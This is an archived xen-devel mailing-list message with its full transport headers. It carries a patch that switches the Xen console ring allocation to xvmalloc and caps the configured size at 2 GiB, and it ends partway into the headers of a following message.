 CH3PEPF0000000B.mail.protection.outlook.com (10.167.244.38) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Mon, 13 Jul 2026 18:16:37 +0000
Received: from pps.filterd (m0426315.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DHcXsp2030352
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:37 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fc7qrspvt-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:36 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id jLCjwqKDWipGjjLCkwe9kL; Mon, 13 Jul 2026 18:16:36 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=Feu
	l+agJDwY1vxKZsQEfjMl+EX8xLNQ6j7CfHECsy6w=; b=eFvFugHy63fp55PMoiB
	6qptXVP29IXqC0z8U8g1xGUjW7veJziNMtp0WAnJCk+GiB9Si+iYMISwfOG7N3pI
	C2aPmsPcMUUBfQISSliTUz2kVizO0jqjUp8OS2KmFVshaEmDV2lsD1gfywNp8amC
	up8U8L5gFQ7hQNwQi6XsXqBRakE7RYRrihkxKiFkULZJ2k1njiwIdM06FFgsrA2i
	QrjttiCek1rnr80BXwHMAEdrd0L5zbsN0iKMjrCjqab5Dpk7hYTzrFRn6mVzdgdI
	8Udj/Z0mKEVNCMBebwHg1/+ssyXx+z39WCDkjZCggaHZXW3IQfazraru3dZWPLTc
	a4w==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=gJ+TP9ZEWZ+mqf2Zen3hoQ+I+VaMbTWxeIUiJ4zd9CR2B2vAxzvkHrdFB8s1KCtBaRYrF9hEMdOPT8y2KmWb5SX7F6mM8C9Tez6TiZa3qmBXZY3XgT0VQJAucQXS/S10K/2aX/ftKPt6T26snsDBobXWVxmeQl3D4nLoC8Mm2EwNj065/ADC1dLlP1g/LIuWL4XPr1h2mq1KpXFbuLtjo5KQ460FxXCc6H1uEphqnZnE/2kWNq6k89dRegjqu2A3neBPUSQJeG5MPwY3UimACNM/YGGJZzEon5gymoB4j4jbkVPaHj6VHaLGeTdsf7kC+m/ALI9hIGqtulXgpMXONw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Feul+agJDwY1vxKZsQEfjMl+EX8xLNQ6j7CfHECsy6w=;
 b=fha5eAm43vfZwv88WYNqJ1N3JAmPUWIA1V6FIQecnBZ7UgI61WG4ROi25efsnGc18n+OxWX+Frd7j9JE6mN8Ye6ZDNfuC4u0f5Ud4rRDYLXHa+BE7Y1FpTywf5Wi2ShpXyKTFRwbW9KO/y2JjbcOpoLLcvqjwrlJotfY6xqxKI6J+oJSw7mSopDyqdmrk7JtdK7xqw4IdhuI94AGqCSgIxWOtH1ijHANf28Ac30WvV0uUMbCmTz3N40bhcG5FWck6iSymCdv0G+fnzeiMVbIm3yMTz08M4gZykXmnOrGLQkg0YjyG51DrUhImWI7nSvk568KaR5L/Eag7+JkkxLN8A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Feul+agJDwY1vxKZsQEfjMl+EX8xLNQ6j7CfHECsy6w=;
 b=Lxn8iC5F5STBvVGqyh1GqBT/dPyQhWFrs29sj1Z4WVb0bHHhR4j/ZHapilujIH2N1Miisq/Cd7mdjTc8irMSxV6iaTumR/e6x8wc29LgW9FyCFSDFEHqhTSV1SNCiEVcLr6SNKxkMeCgvjq1/qkJz+8BsHnDMOpDFCX97h6oHP8=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=Feul+agJDwY1vxKZsQEfjMl+EX8xLNQ6j7CfHECsy6w=; b=
	I76+8Nr+kjHA2KfWz4hLgOoxQRH4zUiWJ9DmqQxhPLXRUE8l5v8T/g6iS82a6Z05
	54VhFnM0qE+5vesgG5KlUu1OZlQQSh7v/2wMihsenmBqRFMs7GGs7GgnJdz6rxBb
	Qj1pdPOc5tk42NSA7tYqNBCUC/37FK24cGWqPhn5HUDKC4K3gbVicAXCQ5snogvL
	pf+GGT4v4uT0xLWAT0dO4xXeGFhjeWpQk2rC1+xrOfP2wTzu27wdE4EsBXLi1ZWN
	j5ImB4Nizt66xUboaY0l36Ww1B+OK1WoP6HQWNOcsQXACeExsSnmYxcNK4/cW2MU
	cGyOBVVTv0lFD2XBSKvTIg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=Feul+ag
	JDwY1vxKZsQEfjMl+EX8xLNQ6j7CfHECsy6w=; b=pxrdxCpFE3tUzwqaYbZkh2J
	9pJd2A+USsVxxzl81PnST3QRp7589Mxfk7Umn0/1PToK4KN8ZnJx7n2qq7FsIjLv
	uonPMOUuON+1uhui3kOW64PKJIZfY+NlaDI1hr/KM4E5pG3zpmL+/aheru+7dzvE
	O8ZE98EO64e8qQmpm7GJgeu/DYq/IDchMkqDNo7vWDnh/iP6jeqYMFavms8oqI3x
	fHCS+aUqhkRpvFNLpPD1pqrttBHuNFIp21K8gYqmejT1ypXZdD5gl46xvXSC1g6M
	+sMjKxi8LWQLKSDaCJmgE49zKMcHuEeATPQ/c39oecfEnvJP7bRB/xjV0O4qDdA=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jLCjwqKDWipGjjLCkwe9kL
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v7 4/7] xen/console: switch conring runtime allocation to xvmalloc
Date: Mon, 13 Jul 2026 11:16:16 -0700
Message-ID: <20260713181619.672176-5-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260713181619.672176-1-dmukhin@ford.com>
References: <20260713181619.672176-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 lowpriorityscore=0 phishscore=0 spamscore=0 suspectscore=0 bulkscore=0
 adultscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607130189
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF0000000B:EE_|SJ0PR16MB5126:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: ec140e60-3bff-4de5-d0eb-08dee10ae139
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|36860700016|376014|82310400026|23010399003|22082099003|18002099003|6133799003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	13uNBl/mLzQZHeCvm9jPRiBV2N+R+5Fb/16QZEdUdvFDvsXG5ukQVgEMCEt/2NkJiYcwlqPGNQZ47OUUZJtiynCFH0EwLWUwyKSYcEzQmr8HJbtihy/cCpxCjjlRMEz8Gsf5HmpPWG9vD7916aFvoT9Fev4AlJbL/n/99/DuGuOnWhONqEYQCeWPUxrFEJxHQIf1ddUYW6QJZ1As2RXlkhj+eWdNv/+Y7EnsgAkjMnMsBptef9QUl9j3SEn85G94B9DAle/QInhw05YsISlMb4tgVurIktmMZoRYgPx/cOoitnCiI3YBKmIuXceDrFibWpzOJZ+9IVwM8iNtUgF4XxoURnj88SLt8a34fwZRMfnaPRYYS4N9XNKxGC0ZX9DT51vsvhXwMFAuAgD1rmwznfZGcXkqGOaQ64DnJmVGaQXRgD53JkRUzwJ0UxG9Eyvhv02f94P6fLoS/vrR+4LDUNqhgFizOG1Ekz8fICnlrtPcEYgqIQd7PXv5cI7Ux+wc6W2LEc887QhEjqcCrzeG0Iw9QSmkF1U+dc3bC3Fpg3InwvUNfy1U2z1O5lv9kpMHw5SuY3ZWxjCH55G5VvGA9jswkmmHzpKKrBtJoTQuZnBFIX3mdTcHOnHUrBgGHAfjkl9gnDHifsvaIKjOyQaHjRPd+mtE1Jo316GS+u1pVZJT0Rtuf9EPfvkSz+ffargK0UK4NJUN5CfnXzJQC8G7Bg==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(1800799024)(36860700016)(376014)(82310400026)(23010399003)(22082099003)(18002099003)(6133799003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	ngxLHaGJVYHFVvNGCnzpqV1WPtOzjUrZCsAlXzwOR7RWM0jsXNxztDVWFaoD++SFvAUGLc1oPJaOyxZ6ul2iHzFjRnezLAvGh2QCk52MHCLICVuW09bKUtZHc7EB30GdhD2Oc7lTmJUpLrZ8WT6JJmAYsqnj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51dWSegUR6fPUmYNKIs3xh3tHFdxwfCEXXBMwIYHtAVqD1Of76gc/Ia19pwtwXDmxeoY3k1GHc3SvfCMf1EEEVryp+hdzBnTnHWSPdD1eAv0Nli2nXineLO6G74Rm4kLc8LcxvosFYkQaBylr4BpkrYsm1I9GjLoYmM2IAeofm5UzqNLcdb16hZus+nPtLMfMO2DlFOLoyXDDj6zduPeyERyhSwwEJX04ioYf6gLyqrguusO5Dvu/eFGjOXMc/vuPzkD1aoqMmqvGc3LZOBMUIhT0cnp9MEQxqjgorhAJVvinACppLlpmKirYQOtGuzdg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 18:16:37.6329
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: ec140e60-3bff-4de5-d0eb-08dee10ae139
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF0000000B.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR16MB5126
X-Proofpoint-GUID: LMYkOeSy5CZHqhCADgc_wqPCZcXCw9fd
X-Proofpoint-ORIG-GUID: LMYkOeSy5CZHqhCADgc_wqPCZcXCw9fd
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzEzMDE4OSBTYWx0ZWRfX/3Kk7Q8pEZJs
 YmyFC2spctKCi0aiuLSak6Ql9cZvxP9aK3+aVlhyYPzsPA41HKHY3KdEHkygRTmO7EoQsR/Z1bJ
 hhR1jSP/9Y4WgEzf4oPOig78WHAXShr5DqMf7631sOakuzeqMEWm
X-Authority-Analysis: v=2.4 cv=C77ZDwP+ c=1 sm=1 tr=0 ts=6a552b8c cx=c_pps
 a=msEVGK6UkFBbvU8JCjtEeQ==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=YJXg7OVxOWrJwj3yZo-i:22 a=cbNQJ9GKAAAA:8
 a=tHz9FfFoAAAA:8 a=rFyfnguHhtC7fIK2BTEA:9 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzEzMDE4OSBTYWx0ZWRfX0SpsL1xntHh1
 Rw1SN6yM08uOQZDimV+yHe9dghPf9cUAOFB+mkgD/4hM3Ge2jXW1CrCij9A/yELAcBUYjDMf+b7
 9z/OGL2ZljXSk7R6AqK9yYvc0XJYOSA61+VkDi+WMmQH/bzg6Uu79BUcflAMnmRK5CQE/L8k/+D
 oR3T83hRB5cV4qcmkCJqb00k2iBaxMLitbnUZBdjcEoCrZ0heub4e4Ki2QGbA67Tj3wnVt0iFM9
 w4zHubiT/zjR4ZoYTrET8iGcAqqeN4BOYoGHjPQ7W5+EuovNFy4F67gk7issRBfcobIfhtFLE4u
 Hx33RU+Xs4VoFXXPCRYE6nfxqAxFCqFiBDo+8vUK/W+Sb4VF/PgvwdzeWsTFhrL4zKGeUBKsq8s
 vn8IpA34uUH9bvG0VgAGP/1GBkDWXgNj3gelqXNI5EMKK26yc0O7LfwOwGAdKsvyaZuIqktU4hI
 A9mrWcRJCoROM25/C2w==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 bulkscore=0 adultscore=0 impostorscore=0 suspectscore=0
 spamscore=0 clxscore=1015 malwarescore=0 priorityscore=1501 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607130189
X-purgate-ID: tlsNG-d62444/1783966607-3F2F40A8-23BB5A32/0/0
X-purgate-type: clean
X-purgate-size: 2637

From: Denis Mukhin <dmukhin@ford.com> 

The console ring only needs to be virtually contiguous; it does not need
a naturally aligned or physically contiguous allocation. Replace the
runtime xenheap allocation in console_init_ring() with an xvmalloc-backed
buffer.

Also clamp the user-configured ring size to the supported range and emit
warnings when the requested size is adjusted.

Drop full stops in all diagnostic messages in console_init_ring() to align
code with the common code pattern.

Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v6:
- simplified size checks
---
 xen/drivers/char/console.c | 25 ++++++++++++++++---------
 1 file changed, 16 insertions(+), 9 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index 2da5005011d5..dc779439cb69 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -33,6 +33,7 @@
 #include <asm/setup.h>
 #include <xen/sections.h>
 #include <xen/consoled.h>
+#include <xen/xvmalloc.h>
 
 #ifdef CONFIG_X86
 #include <asm/guest.h>
@@ -474,20 +475,26 @@ void __init console_init_ring(void)
 {
     char *ring;
     XENCONS_RING_IDX done, size, n;
-    unsigned int order, memflags;
     unsigned long flags;
 
     if ( !opt_conring_size )
         return;
-
-    order = get_order_from_bytes(max(opt_conring_size, conring_size));
-    memflags = MEMF_bits(crashinfo_maxaddr_bits);
-    while ( (ring = alloc_xenheap_pages(order, memflags)) == NULL )
+    else if ( opt_conring_size > GB(2) )
     {
-        BUG_ON(order == 0);
-        order--;
+        printk(XENLOG_WARNING "Limiting user-configured console ring size to 2 GiB\n");
+        opt_conring_size = GB(2);
     }
-    opt_conring_size = PAGE_SIZE << order;
+    else
+    {
+        unsigned int order = get_order_from_bytes(max(opt_conring_size,
+                                                      conring_size));
+        opt_conring_size = PAGE_SIZE << order;
+    }
+
+    ring = xvmalloc_array(char, opt_conring_size);
+    if ( !ring )
+        panic("Unable to allocate console ring of %u KiB\n",
+              opt_conring_size >> 10);
 
     nrspin_lock_irqsave(&console_lock, flags);
 
@@ -508,7 +515,7 @@ void __init console_init_ring(void)
     conring_size = opt_conring_size;
     nrspin_unlock_irqrestore(&console_lock, flags);
 
-    printk("Allocated console ring of %u KiB.\n", opt_conring_size >> 10);
+    printk("Allocated console ring of %u KiB\n", opt_conring_size >> 10);
 }
 
 /*
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:16:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:16:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361823.1613929 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLD5-0005sl-D5; Mon, 13 Jul 2026 18:16:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361823.1613929; Mon, 13 Jul 2026 18:16:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLD5-0005sb-8N; Mon, 13 Jul 2026 18:16:55 +0000
Received: by outflank-mailman (input) for mailman id 1361823;
 Mon, 13 Jul 2026 18:16:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjLD4-0005pe-0u
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 18:16:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjLD3-00EXVa-E8
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:16:53 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b8a-5cb7-0a2a0a5109dd-0a2a4501c2ae-30
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:53 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b93-3ea4-0a2a45010019-94a39217d146-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:53 +0200
Received: from pps.filterd (m0367126.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DI3KXB4006357
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:51 GMT
Received: from bn1pr04cu002.outbound.protection.outlook.com
 (mail-eastus2azon11010030.outbound.protection.outlook.com [52.101.56.30])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fd38b1gev-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:50 +0000 (GMT)
Received: from CH5PR05CA0002.namprd05.prod.outlook.com (2603:10b6:610:1f0::8)
 by CH1PPF801F77A33.namprd16.prod.outlook.com
 (2603:10b6:61f:fc00::a1e) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19; Mon, 13 Jul
 2026 18:16:46 +0000
Received: from CH3PEPF0000000D.namprd04.prod.outlook.com
 (2603:10b6:610:1f0:cafe::e) by CH5PR05CA0002.outlook.office365.com
 (2603:10b6:610:1f0::8) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9 via Frontend Transport; Mon, 13
 Jul 2026 18:16:43 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 CH3PEPF0000000D.mail.protection.outlook.com (10.167.244.43) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Mon, 13 Jul 2026 18:16:42 +0000
Received: from pps.filterd (m0373461.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DHfusW3407614
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:42 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fc4f7svft-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:41 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id jLCowgyFpDexijLCpwt0bM; Mon, 13 Jul 2026 18:16:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=cyF
	5ugYOqwZ9hJzOD3szdmvtHv1xbZee9OgAzDKVR9Q=; b=mSWg7FKoAd9abTPQuFE
	dToOpjy0oxNhmMkQrgOs9juV5yK8jv1lxlKIAYBv4MDppFLF4xhT09NOVEOKgdSM
	5deY8WiyWSjPBTtTUFN0cleQeSfzTsFEt+R5FXDfiSCwIfD3R0KT6+fVLXwgJzRB
	K4d5YUyxZqZ2gF6cRIbhlUVfPCAMPbVjJBwo+N7Bzsl5ImUJucJveFud1tYkJowA
	sy+GiOY8p/8CrHbAMscX7optpmrJR5+1/OYKN1bJgtGG9WCf7r2rAR4A+Z8NFvGr
	uEO5e9iW17S4W5ZZIFFISQtvlE+uN1hfPiRUap2hmfJn6yVnGX+IuGYzi1OzOP2n
	ASg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=BNjntrxchv5Z4vIZfEo9M2cXUKrFTVjr9uG2UBjqjXCXx4FzBfmoKjJ9CBab/vnDgBSFvTr2gmZjELm++/9s6MmW2ZN2h88HTM0hveMF9HyahnS/4mrPNa4FENHV/jICZ12D8pv91AbD51b7n0QiVWJvb1U326ec3g8PHJos7aNgjhTrDeh3im4sENPb+/gOtiDLC6G+P57ph2Ias3Tyxn50sqQ6hq8+qHl6D/pyfuVglTbzSsTgoruHvufZfrn62Y1cAy5lk+2qdU8WLTIxlbK1zsaSrtgYSYZCjdnJg8jH1cbIptPCETpqBg3vN8rPEDsG/G64uIiOzkHfg0I0sg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=cyF5ugYOqwZ9hJzOD3szdmvtHv1xbZee9OgAzDKVR9Q=;
 b=vsH8Y2UIYnquAiwipbu6S0pfPHVge7c3qk9o6z+OIfXXH/UtIohV8bWcaFTZyHI6ph9PjwrZ4kjujdKOD5aefYUhldUKe3P4Y0LaThFtMB0cyFRIX6BZ8JD2DIJUIXJ0WdUCeYMMF68dcQJJcIH8xYlIFRI18jzDNDnG85rqFq2nYl0Se+1sVP8TweWne07i90sLIBxDIrRi7zEOkXjBPL1Wgro6+HGiJK76djC1UetASB147cAYsqlwfVlPu8XqjcEF15mZvqddACXT6Inl5koHlaZkJ6Ih1QYXRfIsaIrwfT52+KFqyZUwFg7WV+i4V6ViMLA8DXkvPXFyLVBp7g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=cyF5ugYOqwZ9hJzOD3szdmvtHv1xbZee9OgAzDKVR9Q=;
